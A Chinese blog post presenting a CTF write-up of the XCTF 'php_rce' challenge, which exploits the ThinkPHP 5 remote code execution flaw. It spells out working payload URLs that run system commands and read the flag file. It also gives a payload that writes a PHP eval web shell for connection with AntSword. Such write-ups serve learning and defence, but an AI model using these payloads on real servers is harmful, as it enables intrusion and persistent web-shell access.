攻防世界高阶之php_rce

打开之后界面如下:

看到这个还是很懵的,点开任意连接都是真实的场景。

考察ThinkPHP版本5的相关漏洞,这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程:

 

输入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可执行phpinfo:

 

 

拉到页面底部,看到ThinkPHP的版本是5.0.20:

可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下:

输入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

返回:www-data www-data

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)

ls查看

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把request和response也检查了下,也木有flag。。

再逐级查看上级目录,最终看到一个名为flag的文件:

 

查看一下flag的内容:

输入:http://111.200.241.244:51981/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag

得到flag如下图

 

 

------------还有另一种方法------------

文件上传一句话漏洞

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>
用蚁剑连接之后

【蚁剑连接地址 为url/shell.php】上传文件名是什么就连接什么,做的时候地址不会写,一直连不上。

终端直接cat /flag就得到了。

posted @ 2021-09-09 16:35  Stickycat  阅读(331)  评论(0)    收藏  举报